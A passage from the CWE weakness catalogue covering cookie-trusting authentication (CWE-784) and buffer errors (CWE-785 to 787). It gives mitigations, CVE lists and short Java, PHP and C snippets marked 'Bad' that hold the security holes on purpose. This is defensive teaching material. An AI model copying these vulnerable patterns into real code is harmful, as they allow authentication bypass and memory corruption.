References

[REF-704]CERT. "EXP00-C. Use parentheses for precedence of operation". < https://www.securecoding.cert.org/confluence/display/seccode/EXP00-C.+Use+parentheses+for+precedence+of+operation >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision

Weakness ID : 784
Structure : Simple
Abstraction : Variant

Description

The product uses a protection mechanism that relies on the existence or values of a cookie, but it does not properly ensure that the cookie is valid for the associated user.

Extended Description

Attackers can easily modify cookies, within the browser or by implementing the client-side code outside of the browser. Attackers can bypass protection mechanisms such as authorization and authentication by modifying the cookie to contain an expected value.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	807	Reliance on Untrusted Inputs in a Security Decision	1714
ChildOf	B	565	Reliance on Cookies without Validation and Integrity Checking	1283

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1012	Cross Cutting	2427

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Web Based *(Prevalence = Often)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity *It is dangerous to use cookies to set a user's privileges. The cookie can be manipulated to claim a high level of*	

Scope	Impact	Likelihood
	authorization, or to claim that successful authentication has occurred.	

Potential Mitigations

Phase: Architecture and Design

Avoid using cookie data for a security-related decision.

Phase: Implementation

Perform thorough input validation (i.e.: server side validation) on the cookie data if you're going to use it for a security related decision.

Phase: Architecture and Design

Add integrity checks to detect tampering.

Phase: Architecture and Design

Protect critical cookies from replay attacks, since cross-site scripting or other attacks may allow attackers to steal a strongly-encrypted cookie that also passes integrity checks. This mitigation applies to cookies that should only be valid during a single transaction or session. By enforcing timeouts, you may limit the scope of an attack. As part of your integrity check, use an unpredictable, server-side value that is not exposed to the client.

Demonstrative Examples

Example 1:

The following code excerpt reads a value from a browser cookie to determine the role of the user.

Example Language: Java *(Bad)*

```
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
  Cookie c = cookies[i];
  if (c.getName().equals("role")) {
    userRole = c.getValue();
  }
}
```

Example 2:

The following code could be for a medical records application. It performs authentication by checking if a cookie has been set.

Example Language: PHP *(Bad)*

```
$auth = $_COOKIES['authenticated'];
if (! $auth) {
  if (AuthenticateUser($_POST['user'], $_POST['password']) == "success") {
    // save the cookie to send out in future responses
    setcookie("authenticated", "1", time()+60*60*2);
  }
  else {
    ShowLoginScreen();
    die("\n");
  }
}
DisplayMedicalHistory($_POST['patient_ID']);
```

The programmer expects that the AuthenticateUser() check will always be applied, and the "authenticated" cookie will only be set when authentication succeeds. The programmer even diligently specifies a 2-hour expiration for the cookie.

However, the attacker can set the "authenticated" cookie to a non-zero value such as 1. As a result, the $auth variable is 1, and the AuthenticateUser() check is not even performed. The attacker has bypassed the authentication.

Example 3:

In the following example, an authentication flag is read from a browser cookie, thus allowing for external control of user state data.

Example Language: Java *(Bad)*

```
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
  Cookie c = cookies[i];
  if (c.getName().equals("authenticated") && Boolean.TRUE.equals(c.getValue())) {
    authenticated = true;
  }
}
```

Observed Examples

Reference	Description
CVE-2009-1549	Attacker can bypass authentication by setting a cookie to a specific value. *https://www.cve.org/CVERecord?id=CVE-2009-1549*
CVE-2009-1619	Attacker can bypass authentication and gain admin privileges by setting an "admin" cookie to 1. *https://www.cve.org/CVERecord?id=CVE-2009-1619*
CVE-2009-0864	Content management system allows admin privileges by setting a "login" cookie to "OK." *https://www.cve.org/CVERecord?id=CVE-2009-0864*
CVE-2008-5784	e-dating application allows admin privileges by setting the admin cookie to 1. *https://www.cve.org/CVERecord?id=CVE-2008-5784*
CVE-2008-6291	Web-based email list manager allows attackers to gain admin privileges by setting a login cookie to "admin." *https://www.cve.org/CVERecord?id=CVE-2008-6291*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1354	OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures	1344	2495
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2528

Notes

Maintenance

A new parent might need to be defined for this entry. This entry is specific to cookies, which reflects the significant number of vulnerabilities being reported for cookie-based authentication in CVE during 2008 and 2009. However, other types of inputs - such as parameters or headers - could also be used for similar authentication or authorization. Similar issues (under the Research view) include CWE-247 and CWE-472.

References

[REF-706]Steve Christey. "Unforgivable Vulnerabilities". 2007 August 2. < http://cve.mitre.org/docs/docs-2007/unforgivable.pdf >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer

Weakness ID : 785
Structure : Simple
Abstraction : Variant

Description

The product invokes a function for normalizing paths or file names, but it provides an output buffer that is smaller than the maximum possible size, such as PATH_MAX.

Extended Description

Passing an inadequately-sized output buffer to a path manipulation function can result in a buffer overflow. Such functions include realpath(), readlink(), PathAppend(), and others.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	304
ChildOf	B	676	Use of Potentially Dangerous Function	1489

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

Nature	Type	ID	Name	Page
ChildOf	C	20	Improper Input Validation	20

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Background Details

Windows provides a large number of utility functions that manipulate buffers containing filenames. In most cases, the result is returned in a buffer that is passed in as input. (Usually the filename is modified in place.) Most functions require the buffer to be at least MAX_PATH bytes in length, but you should check the documentation for each function individually. If the buffer is not large enough to store the result of the manipulation, a buffer overflow can occur.

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Modify Memory Execute Unauthorized Code or Commands DoS: Crash, Exit, or Restart	

Potential Mitigations

Phase: Implementation

Always specify output buffers large enough to handle the maximum-size possible result from path manipulation functions.

Demonstrative Examples

Example 1:

In this example the function creates a directory named "output\<name>" in the current directory and returns a heap-allocated copy of its name.

Example Language: C *(Bad)*

```
char *createOutputDirectory(char *name) {
  char outputDirectoryName[128];
  if (getCurrentDirectory(128, outputDirectoryName) == 0) {
    return null;
  }
  if (!PathAppend(outputDirectoryName, "output")) {
    return null;
  }
  if (!PathAppend(outputDirectoryName, name)) {
    return null;
  }
  if (SHCreateDirectoryEx(NULL, outputDirectoryName, NULL) != ERROR_SUCCESS) {
    return null;
  }
  return StrDup(outputDirectoryName);
}
```

For most values of the current directory and the name parameter, this function will work properly. However, if the name parameter is particularly long, then the second call to PathAppend() could overflow the outputDirectoryName buffer, which is smaller than MAX_PATH bytes.

Affected Resources

- Memory
- File or Directory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	972	SFP Secondary Cluster: Faulty String Expansion	888	2405
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Notes

Maintenance

This entry is at a much lower level of abstraction than most entries because it is function-specific. It also has significant overlap with other entries that can vary depending on the perspective. For example, incorrect usage could trigger either a stack-based overflow (CWE-121) or a heap-based overflow (CWE-122). The CWE team has not decided how to handle such entries.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Often Misused: File System
Software Fault Patterns	SFP9		Faulty String Expansion

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools

Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-786: Access of Memory Location Before Start of Buffer

Weakness ID : 786
Structure : Simple
Abstraction : Base

Description

The product reads or writes to a buffer using an index or pointer that references a memory location prior to the beginning of the buffer.

Extended Description

This typically occurs when a pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	293
ParentOf	B	124	Buffer Underwrite ('Buffer Underflow')	326
ParentOf	V	127	Buffer Under-read	337

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	293

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	293

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1218	Memory Buffer Errors	2479

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory *For an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.*	

Scope	Impact	Likelihood
Integrity Availability	Modify Memory DoS: Crash, Exit, or Restart *Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash.*	
Integrity	Modify Memory Execute Unauthorized Code or Commands *If the corrupted memory can be effectively controlled, it may be possible to execute arbitrary code. If the corrupted memory is data rather than instructions, the system will continue to function with improper changes, possibly in violation of an implicit or explicit policy.*	

Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness = High

Demonstrative Examples

Example 1:

In the following C/C++ example, a utility function is used to trim trailing whitespace from a character string. The function copies the input string to a local character string and uses a while statement to remove the trailing whitespace by moving backward through the string and overwriting whitespace with a NUL character.

Example Language: C *(Bad)*

```
char* trimTrailingWhitespace(char *strMessage, int length) {
  char *retMessage;
  char *message = malloc(sizeof(char)*(length+1));
  // copy input string to a temporary string
  char message[length+1];
  int index;
  for (index = 0; index < length; index++) {
    message[index] = strMessage[index];
  }
  message[index] = '\0';
  // trim trailing whitespace
  int len = index-1;
  while (isspace(message[len])) {
    message[len] = '\0';
    len--;
  }
  // return string without trailing whitespace
  retMessage = message;
  return retMessage;
}
```

However, this function can cause a buffer underwrite if the input character string contains all whitespace. On some systems the while statement will move backwards past the beginning of a character string and will call the isspace() function on an address outside of the bounds of the local buffer.

Example 2:

The following example asks a user for an offset into an array to select an item.

Example Language: C *(Bad)*

```
int main (int argc, char **argv) {
  char *items[] = {"boat", "car", "truck", "train"};
  int index = GetUntrustedOffset();
  printf("You selected %s\n", items[index-1]);
}
```

The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).

Example 3:

The following is an example of code that may result in a buffer underwrite. This code is attempting to replace the substring "Replace Me" in destBuf with the string stored in srcBuf. It does so by using the function strstr(), which returns a pointer to the found substring in destBuf. Using pointer arithmetic, the starting index of the substring is found.

Example Language: C *(Bad)*

```
int main() {
  ...
  char *result = strstr(destBuf, "Replace Me");
  int idx = result - destBuf;
  strcpy(&destBuf[idx], srcBuf);
  ...
}
```

In the case where the substring is not found in destBuf, strstr() will return NULL, causing the pointer arithmetic to be undefined, potentially setting the value of idx to a negative number. If idx is negative, this will result in a buffer underwrite of destBuf.

Observed Examples

Reference	Description
CVE-2002-2227	Unchecked length of SSLv2 challenge value leads to buffer underflow. *https://www.cve.org/CVERecord?id=CVE-2002-2227*
CVE-2007-4580	Buffer underflow from a small size value with a large buffer (length parameter inconsistency, CWE-130) *https://www.cve.org/CVERecord?id=CVE-2007-4580*
CVE-2007-1584	Buffer underflow from an all-whitespace string, which causes a counter to be decremented before the buffer while looking for a non-whitespace character. *https://www.cve.org/CVERecord?id=CVE-2007-1584*
CVE-2007-0886	Buffer underflow resultant from encoded data that triggers an integer overflow. *https://www.cve.org/CVERecord?id=CVE-2007-0886*
CVE-2006-6171	Product sets an incorrect buffer size limit, leading to "off-by-two" buffer underflow. *https://www.cve.org/CVERecord?id=CVE-2006-6171*
CVE-2006-4024	Negative value is used in a memcpy() operation, leading to buffer underflow. *https://www.cve.org/CVERecord?id=CVE-2006-4024*
CVE-2004-2620	Buffer underflow due to mishandled special characters *https://www.cve.org/CVERecord?id=CVE-2004-2620*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	1160	SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)	1154	2457
MemberOf	C	1399	Comprehensive Categorization: Memory Safety	1400	2525

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	ARR30-C	CWE More Specific	Do not form or use out-of-bounds pointers or array subscripts

CWE-787: Out-of-bounds Write

Weakness ID : 787
Structure : Simple
Abstraction : Base

Description

The product writes data past the end, or before the beginning, of the intended buffer.

Extended Description

Typically, this can result in corruption of data, a crash, or code execution. The product may modify an index or perform pointer arithmetic that references a memory location that is outside of the boundaries of the buffer. A subsequent write operation then produces undefined or unexpected results.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	293
ParentOf	V	121	Stack-based Buffer Overflow	314
ParentOf	V	122	Heap-based Buffer Overflow	318
ParentOf	B	123	Write-what-where Condition	323
ParentOf	B	124	Buffer Underwrite ('Buffer Underflow')	326
CanFollow	B	822	Untrusted Pointer Dereference	1723
CanFollow	B	823	Use of Out-of-range Pointer Offset	1726
CanFollow	B	824	Access of Uninitialized Pointer	1729
CanFollow	B	825	Expired Pointer Dereference	1732

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	293

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	293

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	293

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1218	Memory Buffer Errors	2479

Applicable Platforms

Language : C *(Prevalence = Often)*

Language : C++ *(Prevalence = Often)*

Language : Assembly *(Prevalence = Undetermined)*

Technology : ICS/OT *(Prevalence = Often)*

Alternate Terms

Memory Corruption : Often used to describe the consequences of writing to memory outside the bounds of a buffer, or to memory that is invalid, when the root cause is something other than a sequential copy of excessive data from a fixed starting location. This may include issues such as incorrect pointer arithmetic, accessing invalid pointers due to incomplete initialization or memory release, etc.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity Availability	Modify Memory DoS: Crash, Exit, or Restart Execute Unauthorized Code or Commands	

Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.

Effectiveness = High

Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Potential Mitigations

Phase: Requirements

Strategy = Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer. Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.

Phase: Operation

Phase: Build and Compilation

Strategy = Environment Hardening

Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking. D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail.

Effectiveness = Defense in Depth

This is not necessarily a complete solution, since these mechanisms only detect certain types of overflows. In addition, the result is still a denial of service, since the typical response is to exit the application.

Phase: Implementation

Consider adhering to the following rules when allocating and managing an application's memory: Double check that the buffer is as large as specified. When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string. Check buffer boundaries if accessing the buffer in a loop and make sure there is no danger of writing past the allocated space. If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

Phase: Operation

Phase: Build and Compilation

Strategy = Environment Hardening

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking. For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].

Effectiveness = Defense in Depth

These techniques do not provide a complete solution. For instance, exploits frequently use a bug that discloses memory addresses in order to maximize reliability of code execution [REF-1337]. It has also been shown that a side-channel attack can bypass ASLR [REF-1333]

Phase: Operation

Strategy = Environment Hardening

Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment. For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336].

Effectiveness = Defense in Depth

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Implementation

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

Effectiveness = Moderate

This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).

Demonstrative Examples

Example 1:

The following code attempts to save four different identification numbers into an array.

Example Language: C *(Bad)*

```
int id_sequence[3];
/* Populate the id array. */
id_sequence[0] = 123;
id_sequence[1] = 234;
id_sequence[2] = 345;
id_sequence[3] = 456;
```

Since the array is only allocated to hold three elements, the valid indices are 0 to 2; so, the assignment to id_sequence[3] is out of bounds.

Example 2:

In the following code, it is possible to request that memcpy move a much larger segment of memory than assumed:

Example Language: C *(Bad)*

```
int returnChunkSize(void *) {
  /* if chunk info is valid, return the size of usable memory,
  * else, return -1 to indicate an error
  */
  ...
}
int main() {
  ...
  memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
  ...
}
```

If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

Example 3:

This code takes an IP address from the user and verifies that it is well formed. It then looks up the hostname and copies it into a buffer.

Example Language: C *(Bad)*

```
void host_lookup(char *user_supplied_addr){
  struct hostent *hp;
  in_addr_t *addr;
  char hostname[64];
  in_addr_t inet_addr(const char *cp);
  /*routine that ensures user_supplied_addr is in the right format for conversion */
  validate_addr_form(user_supplied_addr);
  addr = inet_addr(user_supplied_addr);
  hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
  strcpy(hostname, hp->h_name);
}
```

This function allocates a buffer of 64 bytes to store the hostname. However, there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then the function may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

Example 4:

This code applies an encoding procedure to an input string and stores it into a buffer.

Example Language: C *(Bad)*

```
char * copy_input(char *user_supplied_string){
  int i, dst_index;
  char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
  if ( MAX_SIZE <= strlen(user_supplied_string) ){
    die("user string too long, die evil hacker!");
  }
  dst_index = 0;
  for ( i = 0; i < strlen(user_supplied_string); i++ ){
    if( '&' == user_supplied_string[i] ){
      dst_buf[dst_index++] = '&';
      dst_buf[dst_index++] = 'a';
      dst_buf[dst_index++] = 'm';
      dst_buf[dst_index++] = 'p';
      dst_buf[dst_index++] = ';';
    }
    else if ('<' == user_supplied_string[i] ){
      /* encode to &lt; */
    }
    else dst_buf[dst_index++] = user_supplied_string[i];
  }
  return dst_buf;
}
```

The programmer attempts to encode the ampersand character in the user-controlled string. However, the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

Example 5:

In the following C/C++ code, a utility function is used to trim trailing whitespace from a character string. The function copies the input string to a local character string and uses a while statement to remove the trailing whitespace by moving backward through the string and overwriting whitespace with a NUL character.

Example Language: C *(Bad)*

```
char* trimTrailingWhitespace(char *strMessage, int length) {
  char *retMessage;
  char *message = malloc(sizeof(char)*(length+1));
  // copy input string to a temporary string
  char message[length+1];
  int index;
  for (index = 0; index < length; index++) {
    message[index] = strMessage[index];
  }
  message[index] = '\0';
  // trim trailing whitespace
  int len = index-1;
  while (isspace(message[len])) {
    message[len] = '\0';
    len--;
  }
  // return string without trailing whitespace
  retMessage = message;
  return retMessage;
}
```

However, this function can cause a buffer underwrite if the input character string contains all whitespace. On some systems the while statement will move backwards past the beginning of a character string and will call the isspace() function on an address outside of the bounds of the local buffer.

Example 6:

The following code allocates memory for a maximum number of widgets. It then gets a user-specified number of widgets, making sure that the user does not request too many. It then initializes the elements of the array using InitializeWidget(). Because the number of widgets can vary for each request, the code inserts a NULL pointer to signify the location of the last widget.

Example Language: C *(Bad)*

```
int i;
unsigned int numWidgets;
Widget **WidgetList;
numWidgets = GetUntrustedSizeValue();
if ((numWidgets == 0) || (numWidgets > MAX_NUM_WIDGETS)) {
  ExitError("Incorrect number of widgets requested!");
}
WidgetList = (Widget **)malloc(numWidgets * sizeof(Widget *));
printf("WidgetList ptr=%p\n", WidgetList);
for(i=0; i<numWidgets; i++) {
  WidgetList[i] = InitializeWidget();
}
WidgetList[numWidgets] = NULL;
showWidgets(WidgetList);
```

However, this code contains an off-by-one calculation error (CWE-193). It allocates exactly enough space to contain the specified number of widgets, but it does not include the space for the NULL pointer. As a result, the allocated buffer is smaller than it is supposed to be (CWE-131). So if the user ever requests MAX_NUM_WIDGETS, there is an out-of-bounds write (CWE-787) when the NULL is assigned. Depending on the environment and compilation settings, this could cause memory corruption.

Example 7:

The following is an example of code that may result in a buffer underwrite. This code is attempting to replace the substring "Replace Me" in destBuf with the string stored in srcBuf. It does so by using the function strstr(), which returns a pointer to the found substring in destBuf. Using pointer arithmetic, the starting index of the substring is found.

Example Language: C *(Bad)*

```
int main() {
  ...
  char *result = strstr(destBuf, "Replace Me");
  int idx = result - destBuf;
  strcpy(&destBuf[idx], srcBuf);
  ...
}
```

In the case where the substring is not found in destBuf, strstr() will return NULL, causing the pointer arithmetic to be undefined, potentially setting the value of idx to a negative number. If idx is negative, this will result in a buffer underwrite of destBuf.

Observed Examples

Reference	Description
CVE-2021-21220	Chain: insufficient input validation (CWE-20) in browser allows heap corruption (CWE-787), as exploited in the wild per CISA KEV. *https://www.cve.org/CVERecord?id=CVE-2021-21220*
CVE-2021-28664	GPU kernel driver allows memory corruption because a user can obtain read/ write access to read-only pages, as exploited in the wild per CISA KEV. *https://www.cve.org/CVERecord?id=CVE-2021-28664*
CVE-2020-17087	Chain: integer truncation (CWE-197) causes small buffer allocation (CWE-131) leading to out-of-bounds write (CWE-787) in kernel pool, as exploited in the wild per CISA KEV. *https://www.cve.org/CVERecord?id=CVE-2020-17087*
CVE-2020-1054	Out-of-bounds write in kernel-mode driver, as exploited in the wild per CISA KEV. *https://www.cve.org/CVERecord?id=CVE-2020-1054*
CVE-2020-0041	Escape from browser sandbox using out-of-bounds write due to incorrect bounds check, as exploited in the wild per CISA KEV. *https://www.cve.org/CVERecord?id=CVE-2020-0041*
CVE-2020-0968	Memory corruption in web browser scripting engine, as exploited in the wild per CISA KEV. *https://www.cve.org/CVERecord?id=CVE-2020-0968*
CVE-2020-0022	chain: mobile phone Bluetooth implementation does not include offset when calculating packet length (CWE-682), leading to out-of-bounds write (CWE-787) *https://www.cve.org/CVERecord?id=CVE-2020-0022*
CVE-2019-1010006	Chain: compiler optimization (CWE-733) removes or modifies code used to detect integer overflow (CWE-190), allowing out-of-bounds write (CWE-787). *https://www.cve.org/CVERecord?id=CVE-2019-1010006*
CVE-2009-1532	malformed inputs cause accesses of uninitialized or previously-deleted objects, leading to memory corruption

Reference	Description
	https://www.cve.org/CVERecord?id=CVE-2009-1532
CVE-2009-0269	chain: -1 value from a function call was intended to indicate an error, but is used as an array index instead. *https://www.cve.org/CVERecord?id=CVE-2009-0269*
CVE-2002-2227	Unchecked length of SSLv2 challenge value leads to buffer underflow. *https://www.cve.org/CVERecord?id=CVE-2002-2227*
CVE-2007-4580	Buffer underflow from a small size value with a large buffer (length parameter inconsistency, CWE-130) *https://www.cve.org/CVERecord?id=CVE-2007-4580*
CVE-2007-4268	Chain: integer signedness error (CWE-195) passes signed comparison, leading to heap overflow (CWE-122) *https://www.cve.org/CVERecord?id=CVE-2007-4268*
CVE-2009-2550	Classic stack-based buffer overflow in media player using a long entry in a playlist *https://www.cve.org/CVERecord?id=CVE-2009-2550*
CVE-2009-2403	Heap-based buffer overflow in media player using a long entry in a playlist *https://www.cve.org/CVERecord?id=CVE-2009-2403*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2587
MemberOf	V	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses	1337	2589
MemberOf	V	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses	1350	2594
MemberOf	C	1366	ICS Communications: Frail Security in Protocols	1358	2503
MemberOf	V	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses	1387	2597
MemberOf	C	1399	Comprehensive Categorization: Memory Safety	1400	2525
MemberOf	V	1425	Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses	1425	2600

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
ISA/IEC 62443	Part 3-3		Req SR 3.5
ISA/IEC 62443	Part 4-1		Req SI-1
ISA/IEC 62443	Part 4-1		Req SI-2
ISA/IEC 62443	Part 4-1		Req SVV-1
ISA/IEC 62443	Part 4-1		Req SVV-3
ISA/IEC 62443	Part 4-2		Req CR 3.5

References

[REF-1029]Aleph One. "Smashing The Stack For Fun And Profit". 1996 November 8. < http://phrack.org/issues/49/14.html >.

